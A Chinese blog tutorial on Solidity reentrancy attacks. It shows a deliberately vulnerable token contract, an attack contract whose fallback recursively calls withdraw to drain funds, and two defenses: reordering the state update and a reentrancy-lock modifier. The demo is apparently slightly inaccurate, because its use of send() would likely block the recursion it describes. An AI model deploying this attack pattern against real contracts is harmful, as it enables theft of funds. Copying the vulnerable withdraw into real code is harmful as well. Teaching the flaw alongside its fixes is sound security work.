avatar
原创2021/12/09

重入攻击原理

AI 总结

深度剖析智能合约重入攻击(Reentrancy Attack)的原理与危害,通过完整攻击合约示例演示攻击者如何利用 receive/fallback 函数递归调用漏洞合约提取资金,并讲解 Checks-Effects-Interactions 模式与 ReentrancyGuard 两种防御方案。

智能合约的特点之一就是合约之间可以进行相互的外部调用。同时当我们往合约中发送代币的时候会触发合约的 receive 或者 fallback 函数。依据此特性就可以做出重入攻击。

重入攻击代码示例:

contract RoboToken {
  mapping (address => uint) public balances;
 
  constructor() public payable {
    balances[msg.sender] += msg.value;
  }
 
  function deposit() public payable {
    balances[msg.sender] += msg.value;
  }
 
  function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount);
 
    bool sent = payable(msg.sender).send(_amount);
    require(sent, 'Transition Failed');
 
    balances[msg.sender] -= _amount;
  }
 
  function getBalance() public view returns(uint) {
    return address(this).balance;
  }
}
 
// 攻击合约
contract ReentrancyAttack {
  RoboToken public roboToken;
 
  constructor(address _roboTokenAddress) public {
      roboToken = RoboToken(_roboTokenAddress);
  }
 
  fallback() external payable {
    if (address(roboToken).balance >= 1 ether) {
      roboToken.withdraw(1 ether);
    }
  }
 
  function attack() external payable {
    require(msg.value >= 1 ether);
    roboToken.deposit{value: 1 ether}();
    roboToken.withdraw(1 ether);
  }
}

当我们调用攻击合约 ReentrancyAttack的 attack 方法时

  • 调用 RoboToken 的提现方法 withdraw。
  • 提现方法内部会执行转账操作,转账操作会触发攻击合约 ReentrancyAttack的 fallback
  • fallback 内部又会执行提现方法,而此时 balances[msg.sender] -= _amount; 未执行到, 所以仍满足balances[msg.sender] >= _amount。如此便会一直循环。
  • 直到 RoboToken的余额小于 1 ether

避免重入攻击的方法也很简单。

一种方法是交换代码顺序,先处理状态,再执行转账

function withdraw(uint _amount) public {
  require(balances[msg.sender] >= _amount);
 
  balances[msg.sender] -= _amount;
 
  bool sent = payable(msg.sender).send(_amount);
  require(sent, 'Transition Failed');
}

其次,还可以利用 modifier 加入防重入锁,避免 withdraw 未执行完的再次调用。

bool internal locked;
 
modifier noReentrant() {
  require(!locked, "No re-entrancy");
  locked = true;
  _;
  locked = false;
}
 
function withdraw(uint _amount) public noReentrant {
  require(balances[msg.sender] >= _amount);
 
  bool sent = payable(msg.sender).send(_amount);
  require(sent, 'Transition Failed');
 
  balances[msg.sender] -= _amount;
}
点击播放